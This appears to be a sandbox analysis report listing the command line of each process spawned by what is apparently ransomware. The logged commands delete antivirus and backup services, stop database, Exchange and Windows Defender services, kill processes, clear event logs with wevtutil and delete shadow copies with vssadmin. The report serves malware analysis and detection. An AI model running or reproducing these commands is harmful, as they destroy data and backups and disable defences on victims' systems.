C:\Windows\SysWOW64\cacls.execacls C:\ProgramData /e /d SERVICE3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\ProgramData /e /d mssqlserver3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\ProgramData /e /d "network service"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\ProgramData /e /d system3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\ProgramData /e /d mssql$sqlexpress3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Users\Public /a3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cacls.execacls C:\Users\Public /g Administrators:f3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Users\Public /e /g Users:r3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Users\Public /e /g Administrators:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Users\Public /e /d SERVICE3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Users\Public /e /d mssqlserver3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Users\Public /e /d "network service"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Users\Public /e /d system3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Users\Public /e /d mssql$sqlexpress3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "vmickvpexchange"3⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "vmicguestinterface"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "vmicshutdown"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "vmicheartbeat"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "vmicrdv"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "storflt"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "vmictimesync"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "vmicvss"3⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "hvdsvc"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "nvspwmi"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "wmms"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "AvgAdminServer"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "AVG Antivirus"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "avgAdminClient"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "SAVService"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "SAVAdminService"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Sophos AutoUpdate Service"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Sophos Clean Service"3⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "Sophos Device Control Service"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Sophos Endpoint Defense Service"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Sophos File Scanner Service"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Sophos Health Service"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Sophos MCS Agent"3⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "Sophos MCS Client"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "SntpService"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "swc_service"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "swi_service"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Sophos UI"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "swi_update"3⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "Sophos Web Control Service"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Sophos System Protection Service"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Sophos Safestore Service"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "hmpalertsvc"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "RpcEptMapper"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Sophos Endpoint Defense Service"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "SophosFIM"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "swi_filter"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "FirebirdGuardianDefaultInstance"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "FirebirdServerDefaultInstance"3⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "MSSQLFDLauncher"3⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "MSSQLSERVER"3⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "SQLSERVERAGENT"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "SQLBrowser"3⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "SQLTELEMETRY"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "MsDtsServer130"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "SSISTELEMETRY130"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "SQLWriter"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "MSSQL$VEEAMSQL2012"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "SQLAgent$VEEAMSQL2012"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "MSSQL"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "SQLAgent"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "MSSQLServerADHelper100"3⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "MSSQLServerOLAPService"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "MsDtsServer100"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "ReportServer"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "SQLTELEMETRY$HL"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "TMBMServer"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "MSSQL$PROGID"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "MSSQL$WOLTERSKLUWER"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "SQLAgent$PROGID"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "SQLAgent$WOLTERSKLUWER"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "MSSQLFDLauncher$OPTIMA"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "MSSQL$OPTIMA"3⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "SQLAgent$OPTIMA"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "ReportServer$OPTIMA"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "msftesql$SQLEXPRESS"3⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "postgresql-x64-9.4"3⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "WRSVC"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "ekrn"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "ekrnEpsw"3⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "klim6"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "AVP18.0.0"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "KLIF"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "klpd"3⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "klflt"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "klbackupdisk"3⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "klbackupflt"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "klkbdflt"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "klmouflt"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "klhk"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "KSDE1.0.0"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "kltap"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "ScSecSvc"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Core Mail Protection"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Core Scanning Server"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Core Scanning ServerEx"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Online Protection System"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "RepairService"3⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "Core Browsing Protection"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Quick Update Service"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "McAfeeFramework"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "macmnsvc"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "masvc"3⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "mfemms"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "mfevtp"3⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "TmFilter"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "TMLWCSService"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "tmusa"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "TmPreFilter"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "TMSmartRelayService"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "TMiCRCScanService"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "VSApiNt"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "TmCCSF"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "tmlisten"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "TmProxy"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "ntrtscan"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "ofcservice"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "TmPfw"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "PccNTUpd"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "PandaAetherAgent"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "PSUAService"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "NanoServiceMain"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "EPIntegrationService"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "EPProtectedService"3⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "EPRedline"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "EPSecurityService"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "EPUpdateService"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "UniFi"3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im PccNTMon.exe3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im NTRtScan.exe3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im TmListen.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im TmCCSF.exe3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im TmProxy.exe3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im TMBMSRV.exe3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im TMBMSRV.exe3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im TmPfw.exe3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im CNTAoSMgr.exe3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im sqlbrowser.exe3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im sqlwriter.exe3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im sqlservr.exe3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im msmdsrv.exe3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im MsDtsSrvr.exe3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im sqlceip.exe3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im fdlauncher.exe3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im Ssms.exe3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im SQLAGENT.EXE3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im fdhost.exe3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im fdlauncher.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im sqlservr.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im ReportingServicesService.exe3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im msftesql.exe3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im pg_ctl.exe3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im postgres.exe3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\net.exenet stop MSSQLServerADHelper1003⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLServerADHelper1004⤵
-
C:\Windows\SysWOW64\net.exenet stop MSSQL$ISARS3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$ISARS4⤵
-
C:\Windows\SysWOW64\net.exenet stop MSSQL$MSFW3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$MSFW4⤵
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent$ISARS3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$ISARS4⤵
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent$MSFW3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$MSFW4⤵
-
C:\Windows\SysWOW64\net.exenet stop SQLBrowser3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLBrowser4⤵
-
C:\Windows\SysWOW64\net.exenet stop ReportServer$ISARS3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ReportServer$ISARS4⤵
-
C:\Windows\SysWOW64\net.exenet stop SQLWriter3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLWriter4⤵
-
C:\Windows\SysWOW64\net.exenet stop WinDefend3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop WinDefend4⤵
-
C:\Windows\SysWOW64\net.exenet stop mr2kserv3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop mr2kserv4⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeADTopology3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeADTopology4⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeFBA3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeFBA4⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeIS3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeIS4⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeSA3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeSA4⤵
-
C:\Windows\SysWOW64\net.exenet stop ShadowProtectSvc3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ShadowProtectSvc4⤵
-
C:\Windows\SysWOW64\net.exenet stop SPAdminV43⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SPAdminV44⤵
-
C:\Windows\SysWOW64\net.exenet stop SPTimerV43⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SPTimerV44⤵
-
C:\Windows\SysWOW64\net.exenet stop SPTraceV43⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SPTraceV44⤵
-
C:\Windows\SysWOW64\net.exenet stop SPUserCodeV43⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SPUserCodeV44⤵
-
C:\Windows\SysWOW64\net.exenet stop SPWriterV43⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SPWriterV44⤵
-
C:\Windows\SysWOW64\net.exenet stop SPSearch43⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SPSearch44⤵
-
C:\Windows\SysWOW64\sc.exesc delete MSCRMAsyncService5⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\net.exenet stop MSSQLServerADHelper1003⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLServerADHelper1004⤵
-
C:\Windows\SysWOW64\net.exenet stop IISADMIN3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop IISADMIN4⤵
-
C:\Windows\SysWOW64\net.exenet stop firebirdguardiandefaultinstance3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop firebirdguardiandefaultinstance4⤵
-
C:\Windows\SysWOW64\net.exenet stop ibmiasrw3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ibmiasrw4⤵
-
C:\Windows\SysWOW64\net.exenet stop QBCFMonitorService3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QBCFMonitorService4⤵
-
C:\Windows\SysWOW64\net.exenet stop QBVSS3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QBVSS4⤵
-
C:\Windows\SysWOW64\net.exenet stop QBPOSDBServiceV123⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QBPOSDBServiceV124⤵
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL EL4⤵
-
C:\Windows\SysWOW64\net.exenet stop "IBM Domino Server (CProgramFilesIBMDominodata)"3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "IBM Domino Server (CProgramFilesIBMDominodata)"4⤵
-
C:\Windows\SysWOW64\net.exenet stop "IBM Domino Diagnostics (CProgramFilesIBMDomino)"3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "IBM Domino Diagnostics (CProgramFilesIBMDomino)"4⤵
-
C:\Windows\SysWOW64\net.exenet stop IISADMIN3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop IISADMIN4⤵
-
C:\Windows\SysWOW64\net.exenet stop "Simply Accounting Database Connection Manager"3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Simply Accounting Database Connection Manager"4⤵
-
C:\Windows\SysWOW64\net.exenet stop QuickBooksDB13⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QuickBooksDB14⤵
-
C:\Windows\SysWOW64\net.exenet stop QuickBooksDB23⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QuickBooksDB24⤵
-
C:\Windows\SysWOW64\net.exenet stop QuickBooksDB33⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QuickBooksDB34⤵
-
C:\Windows\SysWOW64\net.exenet stop QuickBooksDB43⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QuickBooksDB44⤵
-
C:\Windows\SysWOW64\net.exenet stop QuickBooksDB53⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QuickBooksDB54⤵
-
C:\Windows\SysWOW64\sc.exesc delete "XT800Service_Personal"5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im UniFi.exe3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\tasklist.exetasklist /fi "imagename eq MsMpEng.exe"3⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\find.exefind /c "PID"3⤵
-
C:\Windows\SysWOW64\tasklist.exetasklist /fi "imagename eq ntrtscan.exe"3⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\find.exefind /c "PID"3⤵
-
C:\Windows\SysWOW64\tasklist.exetasklist /fi "imagename eq avp.exe"3⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\find.exefind /c "PID"3⤵
-
C:\Windows\SysWOW64\tasklist.exetasklist /fi "imagename eq WRSA.exe"3⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\find.exefind /c "PID"3⤵
-
C:\Windows\SysWOW64\find.exefind /c "PID"3⤵
-
C:\Windows\SysWOW64\tasklist.exetasklist /fi "imagename eq egui.exe"3⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\find.exefind /c "PID"3⤵
-
C:\Windows\SysWOW64\tasklist.exetasklist /fi "imagename eq AvastUI.exe"3⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
-
C:\Windows\SysWOW64\cmd.execmd /c "color e & @taskkill /IM ThunderPlatform.exe /F & @taskkill /IM iexplore.exe /F & @taskkill /IM vm-agent.exe /F & @taskkill /IM vm-agent-daemon.exe /F & @taskkill /IM eSightService.exe /F & @taskkill /IM cygrunsrv.exe /F & @taskkill /IM wrapper.exe /F & @taskkill /IM nginx.exe /F & @taskkill /IM node.exe /F & @taskkill /IM sshd.exe /F & @taskkill /IM vm-tray.exe /F & @taskkill /IM iempwatchdog.exe /F & @taskkill /IM sqlwriter.exe /F & @taskkill /IM php.exe /F & @taskkill /IM "notepad++.exe" /F & @taskkill /IM "phpStudy.exe" /F & @taskkill /IM OPCClient.exe /F & @taskkill /IM navicat.exe /F & @taskkill /IM SupportAssistAgent.exe /F & @taskkill /IM SunloginClient.exe /F & @taskkill /IM SOUNDMAN.exe /F & @taskkill /IM WeChat.exe /F & @taskkill /IM TXPlatform.exe /F & @taskkill /IM Tencentdll.exe /F & @taskkill /IM httpd.exe /F & @taskkill /IM jenkins.exe /F & @taskkill /IM QQ.exe /F & @taskkill /IM HaoZip.exe /F & @taskkill /IM HaoZipScan.exe /F & @taskkill /IM navicat.exe /F & @taskkill /IM TSVNCache.exe /F & @taskkill /IM RAVCpl64.exe /F & @taskkill /IM secbizsrv.exe /F & @taskkill /IM aliwssv.exe /F & @taskkill /IM Helper_Haozip.exe /F & @taskkill /IM acrotray.exe /F & @taskkill /IM "FileZilla Server Interface.exe" /F & @taskkill /IM YoudaoNote.exe /F & @taskkill /IM YNoteCefRender.exe /F & @taskkill /IM idea.exe /F & @taskkill /IM fsnotifier.exe /F & @taskkill /IM picpick.exe /F & @taskkill /IM lantern.exe /F & @taskkill /IM sysproxy-cmd.exe /F & @taskkill /IM service.exe /F & @taskkill /IM pcas.exe /F & @taskkill /IM PresentationFontCache.exe /F & @taskkill /IM RtWlan.exe /F & @taskkill /IM monitor.exe /F & @taskkill /IM Correspond.exe /F & @taskkill /IM ChatServer.exe /F & @taskkill /IM InetMgr.exe /F & @taskkill /IM LogonServer.exe /F & @taskkill /IM GameServer.exe /F & @taskkill /IM ServUAdmin.exe /F & @taskkill /IM ServUDaemon.exe /F & @taskkill /IM update0.exe /F & @taskkill /IM server.exe /F & @taskkill /IM w3wp.exe /F & @taskkill /IM notepad.exe /F & @taskkill /IM PalmInputService.exe /F & @taskkill /IM PalmInputGuard.exe /F & @taskkill /IM UpdateServer.exe /F & @taskkill /IM UpdateGate.exe /F & @taskkill /IM DBServer.exe /F & @taskkill /IM LoginGate.exe /F & @taskkill /IM SelGate.exe /F & @taskkill /IM RunGate.exe /F & @taskkill /IM M2Server.exe /F & @taskkill /IM LogDataServer.exe /F & @taskkill /IM LoginSrv.exe /F & @taskkill /IM sqlceip.exe /F & @taskkill /IM mqsvc.exe /F & @taskkill /IM RefundOrder.exe /F & @taskkill /IM ClamTray.exe /F & @taskkill /IM AdobeARM.exe /F & @taskkill /IM veeam.backup.shell.exe /F & @taskkill /IM VpxClient.exe /F & @taskkill /IM vmware-vmrc.exe /F & @taskkill /IM DSCPatchService.exe /F & @taskkill /IM scktsrvr.exe /F & @taskkill /IM ServerManager.exe /F & @taskkill /IM Dispatcher.exe /F & @taskkill /IM EFDispatcher.exe /F & @taskkill /IM sqlceip.exe /F & @taskkill /IM mqsvc.exe /F & @taskkill /IM RefundOrder.exe /F & @taskkill /IM ClamTray.exe /F & @taskkill /IM AdobeARM.exe /F & @taskkill /IM veeam.backup.shell.exe /F & @taskkill /IM VpxClient.exe /F & @taskkill /IM vmware-vmrc.exe /F & @taskkill /IM DSCPatchService.exe /F & @taskkill /IM scktsrvr.exe /F & @taskkill /IM ServerManager.exe /F & @taskkill /IM Dispatcher.exe /F & @taskkill /IM EFDispatcher.exe /F & @taskkill /IM ClamWin.exe /F & @taskkill /IM srvany.exe /F & @taskkill /IM JT_AG-8332.exe /F & @taskkill /IM XXTClient.exe /F & @taskkill /IM clean.exe /F & @taskkill /IM sqlservr.exe /F & @taskkill /IM "Net.Service.exe" /F & @taskkill /IM plsqldev.exe /F & @taskkill /IM splwow64.exe /F & @taskkill /IM Oobe.exe /F & @taskkill /IM QQYService.exe /F & @taskkill /IM sqlservr.exe /F & @taskkill /IM SGTool.exe /F & @taskkill /IM postgres.exe /F & @taskkill /IM AppVShNotify.exe /F & @taskkill /IM OfficeClickToRun.exe /F & @taskkill /IM EntDT.exe /F & @taskkill /IM EntPublish.exe /F"3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM ThunderPlatform.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM iexplore.exe /F4⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM vm-agent.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM vm-agent-daemon.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM eSightService.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM cygrunsrv.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM wrapper.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM nginx.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM node.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM sshd.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM vm-tray.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM iempwatchdog.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM sqlwriter.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM php.exe /F4⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM "notepad++.exe" /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM "phpStudy.exe" /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM OPCClient.exe /F4⤵
